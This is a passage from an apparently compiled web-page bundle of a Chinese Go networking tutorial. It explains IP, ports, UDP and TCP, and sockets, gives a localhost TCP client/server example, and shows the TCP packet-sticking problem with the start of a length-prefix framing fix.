3\u6240\u5b9a\u4e49\u7684\u5730\u5740\uff0c\u5c31\u88ab\u79f0\u4e3aIP\u5730\u5740\u3002\u76ee\u524d\uff0c\u5e7f\u6cdb\u91c7\u7528\u7684\u662fIP\u534f\u8bae\u7b2c\u56db\u7248\uff0c\u7b80\u79f0IPv4\u3002IPv4\u8fd9\u4e2a\u7248\u672c\u89c4\u5b9a\uff0c\u7f51\u7edc\u5730\u5740\u753132\u4e2a\u4e8c\u8fdb\u5236\u4f4d\u7ec4\u6210\uff0c\u6211\u4eec\u901a\u5e38\u4e60\u60ef\u7528\u5206\u6210\u56db\u6bb5\u7684\u5341\u8fdb\u5236\u6570\u8868\u793aIP\u5730\u5740\uff0c\u4ece0.0.0.0\u4e00\u76f4\u5230255.255.255.255\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u6839\u636eIP\u534f\u8bae\u53d1\u9001\u7684\u6570\u636e\uff0c\u5c31\u53eb\u505aIP\u6570\u636e\u5305\u3002IP\u6570\u636e\u5305\u4e5f\u5206\u4e3a\u201d\u6807\u5934\u201d\u548c\u201d\u6570\u636e\u201d\u4e24\u4e2a\u90e8\u5206\uff1a\u201d\u6807\u5934\u201d\u90e8\u5206\u4e3b\u8981\u5305\u62ec\u7248\u672c\u3001\u957f\u5ea6\u3001IP\u5730\u5740\u7b49\u4fe1\u606f\uff0c\u201d\u6570\u636e\u201d\u90e8\u5206\u5219\u662fIP\u6570\u636e\u5305\u7684\u5177\u4f53\u5185\u5bb9\u3002IP\u6570\u636e\u5305\u7684\u201d\u6807\u5934\u201d\u90e8\u5206\u7684\u957f\u5ea6\u4e3a20\u523060\u5b57\u8282\uff0c\u6574\u4e2a\u6570\u636e\u5305\u7684\u603b\u957f\u5ea6\u6700\u5927\u4e3a65535\u5b57\u8282\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u4f20\u8f93\u5c42",children:"\u4f20\u8f93\u5c42"}),"\n",(0,l.jsx)(e.p,{children:"\u6709\u4e86MAC\u5730\u5740\u548cIP\u5730\u5740\uff0c\u6211\u4eec\u5df2\u7ecf\u53ef\u4ee5\u5728\u4e92\u8054\u7f51\u4e0a\u4efb\u610f\u4e24\u53f0\u4e3b\u673a\u4e0a\u5efa\u7acb\u901a\u4fe1\u3002\u4f46\u95ee\u9898\u662f\u540c\u4e00\u53f0\u4e3b\u673a\u4e0a\u4f1a\u6709\u8bb8\u591a\u7a0b\u5e8f\u90fd\u9700\u8981\u7528\u7f51\u7edc\u6536\u53d1\u6570\u636e\uff0c\u6bd4\u5982QQ\u548c\u6d4f\u89c8\u5668\u8fd9\u4e24\u4e2a\u7a0b\u5e8f\u90fd\u9700\u8981\u8fde\u63a5\u4e92\u8054\u7f51\u5e76\u6536\u53d1\u6570\u636e\uff0c\u6211\u4eec\u5982\u4f55\u533a\u5206\u67d0\u4e2a\u6570\u636e\u5305\u5230\u5e95\u662f\u5f52\u54ea\u4e2a\u7a0b\u5e8f\u7684\u5462\uff1f\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u8fd8\u9700\u8981\u4e00\u4e2a\u53c2\u6570\uff0c\u8868\u793a\u8fd9\u4e2a\u6570\u636e\u5305\u5230\u5e95\u4f9b\u54ea\u4e2a\u7a0b\u5e8f\uff08\u8fdb\u7a0b\uff09\u4f7f\u7528\u3002\u8fd9\u4e2a\u53c2\u6570\u5c31\u53eb\u505a\u201d\u7aef\u53e3\u201d\uff08port\uff09\uff0c\u5b83\u5176\u5b9e\u662f\u6bcf\u4e00\u4e2a\u4f7f\u7528\u7f51\u5361\u7684\u7a0b\u5e8f\u7684\u7f16\u53f7\u3002\u6bcf\u4e2a\u6570\u636e\u5305\u90fd\u53d1\u5230\u4e3b\u673a\u7684\u7279\u5b9a\u7aef\u53e3\uff0c\u6240\u4ee5\u4e0d\u540c\u7684\u7a0b\u5e8f\u5c31\u80fd\u53d6\u5230\u81ea\u5df1\u6240\u9700\u8981\u7684\u6570\u636e\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u201c\u7aef\u53e3\u201d\u662f0\u523065535\u4e4b\u95f4\u7684\u4e00\u4e2a\u6574\u6570\uff0c\u6b63\u597d16\u4e2a\u4e8c\u8fdb\u5236\u4f4d\u30020\u52301023\u7684\u7aef\u53e3\u88ab\u7cfb\u7edf\u5360\u7528\uff0c\u7528\u6237\u53ea\u80fd\u9009\u7528\u5927\u4e8e1023\u7684\u7aef\u53e3\u3002\u6709\u4e86IP\u548c\u7aef\u53e3\u6211\u4eec\u5c31\u80fd\u5b9e\u73b0\u552f\u4e00\u786e\u5b9a\u4e92\u8054\u7f51\u4e0a\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u8fdb\u800c\u5b9e\u73b0\u7f51\u7edc\u95f4\u7684\u7a0b\u5e8f\u901a\u4fe1\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u5fc5\u987b\u5728\u6570\u636e\u5305\u4e2d\u52a0\u5165\u7aef\u53e3\u4fe1\u606f\uff0c\u8fd9\u5c31\u9700\u8981\u65b0\u7684\u534f\u8bae\u3002\u6700\u7b80\u5355\u7684\u5b9e\u73b0\u53eb\u505aUDP\u534f\u8bae\uff0c\u5b83\u7684\u683c\u5f0f\u51e0\u4e4e\u5c31\u662f\u5728\u6570\u636e\u524d\u9762\uff0c\u52a0\u4e0a\u7aef\u53e3\u53f7\u3002UDP\u6570\u636e\u5305\uff0c\u4e5f\u662f\u7531\u201d\u6807\u5934\u201d\u548c\u201d\u6570\u636e\u201d\u4e24\u90e8\u5206\u7ec4\u6210\uff1a\u201d\u6807\u5934\u201d\u90e8\u5206\u4e3b\u8981\u5b9a\u4e49\u4e86\u53d1\u51fa\u7aef\u53e3\u548c\u63a5\u6536\u7aef\u53e3\uff0c\u201d\u6570\u636e\u201d\u90e8\u5206\u5c31\u662f\u5177\u4f53\u7684\u5185\u5bb9\u3002UDP\u6570\u636e\u5305\u975e\u5e38\u7b80\u5355\uff0c\u201d\u6807\u5934\u201d\u90e8\u5206\u4e00\u5171\u53ea\u67098\u4e2a\u5b57\u8282\uff0c\u603b\u957f\u5ea6\u4e0d\u8d85\u8fc765,535\u5b57\u8282\uff0c\u6b63\u597d\u653e\u8fdb\u4e00\u4e2aIP\u6570\u636e\u5305\u3002"}),"\n",(0,l.jsx)(e.p,{children:"UDP\u534f\u8bae\u7684\u4f18\u70b9\u662f\u6bd4\u8f83\u7b80\u5355\uff0c\u5bb9\u6613\u5b9e\u73b0\uff0c\u4f46\u662f\u7f3a\u70b9\u662f\u53ef\u9760\u6027\u8f83\u5dee\uff0c\u4e00\u65e6\u6570\u636e\u5305\u53d1\u51fa\uff0c\u65e0\u6cd5\u77e5\u9053\u5bf9\u65b9\u662f\u5426\u6536\u5230\u3002\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u63d0\u9ad8\u7f51\u7edc\u53ef\u9760\u6027\uff0cTCP\u534f\u8bae\u5c31\u8bde\u751f\u4e86\u3002TCP\u534f\u8bae\u80fd\u591f\u786e\u4fdd\u6570\u636e\u4e0d\u4f1a\u9057\u5931\u3002\u5b83\u7684\u7f3a\u70b9\u662f\u8fc7\u7a0b\u590d\u6742\u3001\u5b9e\u73b0\u56f0\u96be\u3001\u6d88\u8017\u8f83\u591a\u7684\u8d44\u6e90\u3002TCP\u6570\u636e\u5305\u6ca1\u6709\u957f\u5ea6\u9650\u5236\uff0c\u7406\u8bba\u4e0a\u53ef\u4ee5\u65e0\u9650\u957f\uff0c\u4f46\u662f\u4e3a\u4e86\u4fdd\u8bc1\u7f51\u7edc\u7684\u6548\u7387\uff0c\u901a\u5e38TCP\u6570\u636e\u5305\u7684\u957f\u5ea6\u4e0d\u4f1a\u8d85\u8fc7IP\u6570\u636e\u5305\u7684\u957f\u5ea6\uff0c\u4ee5\u786e\u4fdd\u5355\u4e2aTCP\u6570\u636e\u5305\u4e0d\u5fc5\u518d\u5206\u5272\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u5e94\u7528\u5c42",children:"\u5e94\u7528\u5c42"}),"\n",(0,l.jsx)(e.p,{children:"\u5e94\u7528\u7a0b\u5e8f\u6536\u5230\u201d\u4f20\u8f93\u5c42\u201d\u7684\u6570\u636e\uff0c\u63a5\u4e0b\u6765\u5c31\u8981\u5bf9\u6570\u636e\u8fdb\u884c\u89e3\u5305\u3002\u7531\u4e8e\u4e92\u8054\u7f51\u662f\u5f00\u653e\u67b6\u6784\uff0c\u6570\u636e\u6765\u6e90\u4e94\u82b1\u516b\u95e8\uff0c\u5fc5\u987b\u4e8b\u5148\u89c4\u5b9a\u597d\u901a\u4fe1\u7684\u6570\u636e\u683c\u5f0f\uff0c\u5426\u5219\u63a5\u6536\u65b9\u6839\u672c\u65e0\u6cd5\u83b7\u5f97\u771f\u6b63\u53d1\u9001\u7684\u6570\u636e\u5185\u5bb9\u3002\u201d\u5e94\u7528\u5c42\u201d\u7684\u4f5c\u7528\u5c31\u662f\u89c4\u5b9a\u5e94\u7528\u7a0b\u5e8f\u4f7f\u7528\u7684\u6570\u636e\u683c\u5f0f\uff0c\u4f8b\u5982\u6211\u4eecTCP\u534f\u8bae\u4e4b\u4e0a\u5e38\u89c1\u7684Email\u3001HTTP\u3001FTP\u7b49\u534f\u8bae\uff0c\u8fd9\u4e9b\u534f\u8bae\u5c31\u7ec4\u6210\u4e86\u4e92\u8054\u7f51\u534f\u8bae\u7684\u5e94\u7528\u5c42\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u53d1\u9001\u65b9\u7684HTTP\u6570\u636e\u7ecf\u8fc7\u4e92\u8054\u7f51\u7684\u4f20\u8f93\u8fc7\u7a0b\u4e2d\u4f1a\u4f9d\u6b21\u6dfb\u52a0\u5404\u5c42\u534f\u8bae\u7684\u6807\u5934\u4fe1\u606f\uff0c\u63a5\u6536\u65b9\u6536\u5230\u6570\u636e\u5305\u4e4b\u540e\u518d\u4f9d\u6b21\u6839\u636e\u534f\u8bae\u89e3\u5305\u5f97\u5230\u6570\u636e\u3002"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"HTTP\u6570\u636e\u4f20\u8f93\u56fe\u89e3",src:t(55069).A+"",width:"1748",height:"1170"})}),"\n",(0,l.jsx)(e.h2,{id:"socket\u7f16\u7a0b",children:"socket\u7f16\u7a0b"}),"\n",(0,l.jsx)(e.p,{children:"Socket\u662fBSD UNIX\u7684\u8fdb\u7a0b\u901a\u4fe1\u673a\u5236\uff0c\u901a\u5e38\u4e5f\u79f0\u4f5c\u201d\u5957\u63a5\u5b57\u201d\uff0c\u7528\u4e8e\u63cf\u8ff0IP\u5730\u5740\u548c\u7aef\u53e3\uff0c\u662f\u4e00\u4e2a\u901a\u4fe1\u94fe\u7684\u53e5\u67c4\u3002Socket\u53ef\u4ee5\u7406\u89e3\u4e3aTCP/IP\u7f51\u7edc\u7684API\uff0c\u5b83\u5b9a\u4e49\u4e86\u8bb8\u591a\u51fd\u6570\u6216\u4f8b\u7a0b\uff0c\u7a0b\u5e8f\u5458\u53ef\u4ee5\u7528\u5b83\u4eec\u6765\u5f00\u53d1TCP/IP\u7f51\u7edc\u4e0a\u7684\u5e94\u7528\u7a0b\u5e8f\u3002\u7535\u8111\u4e0a\u8fd0\u884c\u7684\u5e94\u7528\u7a0b\u5e8f\u901a\u5e38\u901a\u8fc7\u201d\u5957\u63a5\u5b57\u201d\u5411\u7f51\u7edc\u53d1\u51fa\u8bf7\u6c42\u6216\u8005\u5e94\u7b54\u7f51\u7edc\u8bf7\u6c42\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"socket\u56fe\u89e3",children:"socket\u56fe\u89e3"}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"Socket"}),"\u662f\u5e94\u7528\u5c42\u4e0eTCP/IP\u534f\u8bae\u65cf\u901a\u4fe1\u7684\u4e2d\u95f4\u8f6f\u4ef6\u62bd\u8c61\u5c42\u3002\u5728\u8bbe\u8ba1\u6a21\u5f0f\u4e2d\uff0c",(0,l.jsx)(e.code,{children:"Socket"}),"\u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u95e8\u9762\u6a21\u5f0f\uff0c\u5b83\u628a\u590d\u6742\u7684TCP/IP\u534f\u8bae\u65cf\u9690\u85cf\u5728",(0,l.jsx)(e.code,{children:"Socket"}),"\u540e\u9762\uff0c\u5bf9\u7528\u6237\u6765\u8bf4\u53ea\u9700\u8981\u8c03\u7528Socket\u89c4\u5b9a\u7684\u76f8\u5173\u51fd\u6570\uff0c\u8ba9",(0,l.jsx)(e.code,{children:"Socket"}),"\u53bb\u7ec4\u7ec7\u7b26\u5408\u6307\u5b9a\u7684\u534f\u8bae\u6570\u636e\u7136\u540e\u8fdb\u884c\u901a\u4fe1\u3002"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"socket\u56fe\u89e3",src:t(41884).A+"",width:"1760",height:"1210"})}),"\n",(0,l.jsx)(e.h3,{id:"go\u8bed\u8a00\u5b9e\u73b0tcp\u901a\u4fe1",children:"Go\u8bed\u8a00\u5b9e\u73b0TCP\u901a\u4fe1"}),"\n",(0,l.jsx)(e.h4,{id:"tcp\u534f\u8bae",children:"TCP\u534f\u8bae"}),"\n",(0,l.jsx)(e.p,{children:"TCP/IP(Transmission Control Protocol/Internet Protocol) \u5373\u4f20\u8f93\u63a7\u5236\u534f\u8bae/\u7f51\u95f4\u534f\u8bae\uff0c\u662f\u4e00\u79cd\u9762\u5411\u8fde\u63a5\uff08\u8fde\u63a5\u5bfc\u5411\uff09\u7684\u3001\u53ef\u9760\u7684\u3001\u57fa\u4e8e\u5b57\u8282\u6d41\u7684\u4f20\u8f93\u5c42\uff08Transport layer\uff09\u901a\u4fe1\u534f\u8bae\uff0c\u56e0\u4e3a\u662f\u9762\u5411\u8fde\u63a5\u7684\u534f\u8bae\uff0c\u6570\u636e\u50cf\u6c34\u6d41\u4e00\u6837\u4f20\u8f93\uff0c\u4f1a\u5b58\u5728\u9ecf\u5305\u95ee\u9898\u3002"}),"\n",(0,l.jsx)(e.h4,{id:"tcp\u670d\u52a1\u7aef",children:"TCP\u670d\u52a1\u7aef"}),"\n",(0,l.jsx)(e.p,{children:"\u4e00\u4e2aTCP\u670d\u52a1\u7aef\u53ef\u4ee5\u540c\u65f6\u8fde\u63a5\u5f88\u591a\u4e2a\u5ba2\u6237\u7aef\uff0c\u4f8b\u5982\u4e16\u754c\u5404\u5730\u7684\u7528\u6237\u4f7f\u7528\u81ea\u5df1\u7535\u8111\u4e0a\u7684\u6d4f\u89c8\u5668\u8bbf\u95ee\u6dd8\u5b9d\u7f51\u3002\u56e0\u4e3aGo\u8bed\u8a00\u4e2d\u521b\u5efa\u591a\u4e2agoroutine\u5b9e\u73b0\u5e76\u53d1\u975e\u5e38\u65b9\u4fbf\u548c\u9ad8\u6548\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u6bcf\u5efa\u7acb\u4e00\u6b21\u94fe\u63a5\u5c31\u521b\u5efa\u4e00\u4e2agoroutine\u53bb\u5904\u7406\u3002"}),"\n",(0,l.jsx)(e.p,{children:"TCP\u670d\u52a1\u7aef\u7a0b\u5e8f\u7684\u5904\u7406\u6d41\u7a0b\uff1a"}),"\n",(0,l.jsxs)(e.ol,{children:["\n",(0,l.jsx)(e.li,{children:"\u76d1\u542c\u7aef\u53e3"}),"\n",(0,l.jsx)(e.li,{children:"\u63a5\u6536\u5ba2\u6237\u7aef\u8bf7\u6c42\u5efa\u7acb\u94fe\u63a5"}),"\n",(0,l.jsx)(e.li,{children:"\u521b\u5efagoroutine\u5904\u7406\u94fe\u63a5\u3002"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u4f7f\u7528Go\u8bed\u8a00\u7684net\u5305\u5b9e\u73b0\u7684TCP\u670d\u52a1\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// tcp/server/main.go\n\n// TCP server\u7aef\n\n// \u5904\u7406\u51fd\u6570\nfunc process(conn net.Conn) {\n\tdefer conn.Close() // \u5173\u95ed\u8fde\u63a5\n\tfor {\n\t\treader := bufio.NewReader(conn)\n\t\tvar buf [128]byte\n\t\tn, err := reader.Read(buf[:]) // \u8bfb\u53d6\u6570\u636e\n\t\tif err != nil {\n\t\t\tfmt.Println("read from client failed, err:", err)\n\t\t\tbreak\n\t\t}\n\t\trecvStr := string(buf[:n])\n\t\tfmt.Println("\u6536\u5230client\u7aef\u53d1\u6765\u7684\u6570\u636e\uff1a", recvStr)\n\t\tconn.Write([]byte(recvStr)) // \u53d1\u9001\u6570\u636e\n\t}\n}\n\nfunc main() {\n\tlisten, err := net.Listen("tcp", "127.0.0.1:20000")\n\tif err != nil {\n\t\tfmt.Println("listen failed, err:", err)\n\t\treturn\n\t}\n\tfor {\n\t\tconn, err := listen.Accept() // \u5efa\u7acb\u8fde\u63a5\n\t\tif err != nil {\n\t\t\tfmt.Println("accept failed, err:", err)\n\t\t\tcontinue\n\t\t}\n\t\tgo process(conn) // \u542f\u52a8\u4e00\u4e2agoroutine\u5904\u7406\u8fde\u63a5\n\t}\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u4fdd\u5b58\u4e4b\u540e\u7f16\u8bd1\u6210",(0,l.jsx)(e.code,{children:"server"}),"\u6216",(0,l.jsx)(e.code,{children:"server.exe"}),"\u53ef\u6267\u884c\u6587\u4ef6\u3002"]}),"\n",(0,l.jsx)(e.h4,{id:"tcp\u5ba2\u6237\u7aef",children:"TCP\u5ba2\u6237\u7aef"}),"\n",(0,l.jsx)(e.p,{children:"\u4e00\u4e2aTCP\u5ba2\u6237\u7aef\u8fdb\u884cTCP\u901a\u4fe1\u7684\u6d41\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,l.jsxs)(e.ol,{children:["\n",(0,l.jsx)(e.li,{children:"\u5efa\u7acb\u4e0e\u670d\u52a1\u7aef\u7684\u94fe\u63a5"}),"\n",(0,l.jsx)(e.li,{children:"\u8fdb\u884c\u6570\u636e\u6536\u53d1"}),"\n",(0,l.jsx)(e.li,{children:"\u5173\u95ed\u94fe\u63a5"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u4f7f\u7528Go\u8bed\u8a00\u7684net\u5305\u5b9e\u73b0\u7684TCP\u5ba2\u6237\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// tcp/client/main.go\n\n// \u5ba2\u6237\u7aef\nfunc main() {\n\tconn, err := net.Dial("tcp", "127.0.0.1:20000")\n\tif err != nil {\n\t\tfmt.Println("err :", err)\n\t\treturn\n\t}\n\tdefer conn.Close() // \u5173\u95ed\u8fde\u63a5\n\tinputReader := bufio.NewReader(os.Stdin)\n\tfor {\n\t\tinput, _ := inputReader.ReadString(\'\\n\') // \u8bfb\u53d6\u7528\u6237\u8f93\u5165\n\t\tinputInfo := strings.Trim(input, "\\r\\n")\n\t\tif strings.ToUpper(inputInfo) == "Q" { // \u5982\u679c\u8f93\u5165q\u5c31\u9000\u51fa\n\t\t\treturn\n\t\t}\n\t\t_, err = conn.Write([]byte(inputInfo)) // \u53d1\u9001\u6570\u636e\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tbuf := [512]byte{}\n\t\tn, err := conn.Read(buf[:])\n\t\tif err != nil {\n\t\t\tfmt.Println("recv failed, err:", err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Println(string(buf[:n]))\n\t}\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u6210",(0,l.jsx)(e.code,{children:"client"}),"\u6216",(0,l.jsx)(e.code,{children:"client.exe"}),"\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u5148\u542f\u52a8server\u7aef\u518d\u542f\u52a8client\u7aef\uff0c\u5728client\u7aef\u8f93\u5165\u4efb\u610f\u5185\u5bb9\u56de\u8f66\u4e4b\u540e\u5c31\u80fd\u591f\u5728server\u7aef\u770b\u5230client\u7aef\u53d1\u9001\u7684\u6570\u636e\uff0c\u4ece\u800c\u5b9e\u73b0TCP\u901a\u4fe1\u3002"]}),"\n",(0,l.jsx)(e.h3,{id:"tcp\u9ecf\u5305",children:"TCP\u9ecf\u5305"}),"\n",(0,l.jsx)(e.h4,{id:"\u9ecf\u5305\u793a\u4f8b",children:"\u9ecf\u5305\u793a\u4f8b"}),"\n",(0,l.jsx)(e.p,{children:"\u670d\u52a1\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// socket_stick/server/main.go\n\nfunc process(conn net.Conn) {\n\tdefer conn.Close()\n\treader := bufio.NewReader(conn)\n\tvar buf [1024]byte\n\tfor {\n\t\tn, err := reader.Read(buf[:])\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Println("read from client failed, err:", err)\n\t\t\tbreak\n\t\t}\n\t\trecvStr := string(buf[:n])\n\t\tfmt.Println("\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a", recvStr)\n\t}\n}\n\nfunc main() {\n\n\tlisten, err := net.Listen("tcp", "127.0.0.1:30000")\n\tif err != nil {\n\t\tfmt.Println("listen failed, err:", err)\n\t\treturn\n\t}\n\tdefer listen.Close()\n\tfor {\n\t\tconn, err := listen.Accept()\n\t\tif err != nil {\n\t\t\tfmt.Println("accept failed, err:", err)\n\t\t\tcontinue\n\t\t}\n\t\tgo process(conn)\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u5ba2\u6237\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// socket_stick/client/main.go\n\nfunc main() {\n\tconn, err := net.Dial("tcp", "127.0.0.1:30000")\n\tif err != nil {\n\t\tfmt.Println("dial failed, err", err)\n\t\treturn\n\t}\n\tdefer conn.Close()\n\tfor i := 0; i < 20; i++ {\n\t\tmsg := `Hello, Hello. How are you?`\n\t\tconn.Write([]byte(msg))\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u4fdd\u5b58\u540e\uff0c\u5206\u522b\u7f16\u8bd1\u3002\u5148\u542f\u52a8\u670d\u52a1\u7aef\u518d\u542f\u52a8\u5ba2\u6237\u7aef\uff0c\u53ef\u4ee5\u770b\u5230\u670d\u52a1\u7aef\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-bash",children:"\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?\n\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?\n\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a Hello, Hello. How are you?Hello, Hello. How are you?\n\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?\n\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a Hello, Hello. How are you?Hello, Hello. How are you?\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u5ba2\u6237\u7aef\u520610\u6b21\u53d1\u9001\u7684\u6570\u636e\uff0c\u5728\u670d\u52a1\u7aef\u5e76\u6ca1\u6709\u6210\u529f\u7684\u8f93\u51fa10\u6b21\uff0c\u800c\u662f\u591a\u6761\u6570\u636e\u201c\u7c98\u201d\u5230\u4e86\u4e00\u8d77\u3002"}),"\n",(0,l.jsx)(e.h4,{id:"\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0\u7c98\u5305",children:"\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0\u7c98\u5305"}),"\n",(0,l.jsx)(e.p,{children:"\u4e3b\u8981\u539f\u56e0\u5c31\u662ftcp\u6570\u636e\u4f20\u9012\u6a21\u5f0f\u662f\u6d41\u6a21\u5f0f\uff0c\u5728\u4fdd\u6301\u957f\u8fde\u63a5\u7684\u65f6\u5019\u53ef\u4ee5\u8fdb\u884c\u591a\u6b21\u7684\u6536\u548c\u53d1\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u201c\u7c98\u5305\u201d\u53ef\u53d1\u751f\u5728\u53d1\u9001\u7aef\u4e5f\u53ef\u53d1\u751f\u5728\u63a5\u6536\u7aef\uff1a"}),"\n",(0,l.jsxs)(e.ol,{children:["\n",(0,l.jsx)(e.li,{children:"\u7531Nagle\u7b97\u6cd5\u9020\u6210\u7684\u53d1\u9001\u7aef\u7684\u7c98\u5305\uff1aNagle\u7b97\u6cd5\u662f\u4e00\u79cd\u6539\u5584\u7f51\u7edc\u4f20\u8f93\u6548\u7387\u7684\u7b97\u6cd5\u3002\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5f53\u6211\u4eec\u63d0\u4ea4\u4e00\u6bb5\u6570\u636e\u7ed9TCP\u53d1\u9001\u65f6\uff0cTCP\u5e76\u4e0d\u7acb\u523b\u53d1\u9001\u6b64\u6bb5\u6570\u636e\uff0c\u800c\u662f\u7b49\u5f85\u4e00\u5c0f\u6bb5\u65f6\u95f4\u770b\u770b\u5728\u7b49\u5f85\u671f\u95f4\u662f\u5426\u8fd8\u6709\u8981\u53d1\u9001\u7684\u6570\u636e\uff0c\u82e5\u6709\u5219\u4f1a\u4e00\u6b21\u628a\u8fd9\u4e24\u6bb5\u6570\u636e\u53d1\u9001\u51fa\u53bb\u3002"}),"\n",(0,l.jsx)(e.li,{children:"\u63a5\u6536\u7aef\u63a5\u6536\u4e0d\u53ca\u65f6\u9020\u6210\u7684\u63a5\u6536\u7aef\u7c98\u5305\uff1aTCP\u4f1a\u628a\u63a5\u6536\u5230\u7684\u6570\u636e\u5b58\u5728\u81ea\u5df1\u7684\u7f13\u51b2\u533a\u4e2d\uff0c\u7136\u540e\u901a\u77e5\u5e94\u7528\u5c42\u53d6\u6570\u636e\u3002\u5f53\u5e94\u7528\u5c42\u7531\u4e8e\u67d0\u4e9b\u539f\u56e0\u4e0d\u80fd\u53ca\u65f6\u7684\u628aTCP\u7684\u6570\u636e\u53d6\u51fa\u6765\uff0c\u5c31\u4f1a\u9020\u6210TCP\u7f13\u51b2\u533a\u4e2d\u5b58\u653e\u4e86\u51e0\u6bb5\u6570\u636e\u3002"}),"\n"]}),"\n",(0,l.jsx)(e.h4,{id:"\u89e3\u51b3\u529e\u6cd5",children:"\u89e3\u51b3\u529e\u6cd5"}),"\n",(0,l.jsx)(e.p,{children:"\u51fa\u73b0\u201d\u7c98\u5305\u201d\u7684\u5173\u952e\u5728\u4e8e\u63a5\u6536\u65b9\u4e0d\u786e\u5b9a\u5c06\u8981\u4f20\u8f93\u7684\u6570\u636e\u5305\u7684\u5927\u5c0f\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5bf9\u6570\u636e\u5305\u8fdb\u884c\u5c01\u5305\u548c\u62c6\u5305\u7684\u64cd\u4f5c\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u5c01\u5305\uff1a\u5c01\u5305\u5c31\u662f\u7ed9\u4e00\u6bb5\u6570\u636e\u52a0\u4e0a\u5305\u5934\uff0c\u8fd9\u6837\u4e00\u6765\u6570\u636e\u5305\u5c31\u5206\u4e3a\u5305\u5934\u548c\u5305\u4f53\u4e24\u90e8\u5206\u5185\u5bb9\u4e86(\u8fc7\u6ee4\u975e\u6cd5\u5305\u65f6\u5c01\u5305\u4f1a\u52a0\u5165\u201d\u5305\u5c3e\u201d\u5185\u5bb9)\u3002\u5305\u5934\u90e8\u5206\u7684\u957f\u5ea6\u662f\u56fa\u5b9a\u7684\uff0c\u5e76\u4e14\u5b83\u5b58\u50a8\u4e86\u5305\u4f53\u7684\u957f\u5ea6\uff0c\u6839\u636e\u5305\u5934\u957f\u5ea6\u56fa\u5b9a\u4ee5\u53ca\u5305\u5934\u4e2d\u542b\u6709\u5305\u4f53\u957f\u5ea6\u7684\u53d8\u91cf\u5c31\u80fd\u6b63\u786e\u7684\u62c6\u5206\u51fa\u4e00\u4e2a\u5b8c\u6574\u7684\u6570\u636e\u5305\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u81ea\u5df1\u5b9a\u4e49\u4e00\u4e2a\u534f\u8bae\uff0c\u6bd4\u5982\u6570\u636e\u5305\u7684\u524d4\u4e2a\u5b57\u8282\u4e3a\u5305\u5934\uff0c\u91cc\u9762\u5b58\u50a8\u7684\u662f\u53d1\u9001\u7684\u6570\u636e\u7684\u957f\u5ea6\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// socket_stick/proto/proto.go\npackage proto\n\nimport (\n\t"bufio"\n\t"bytes"\n\t"encoding/binary"\n)\n\n// Encode 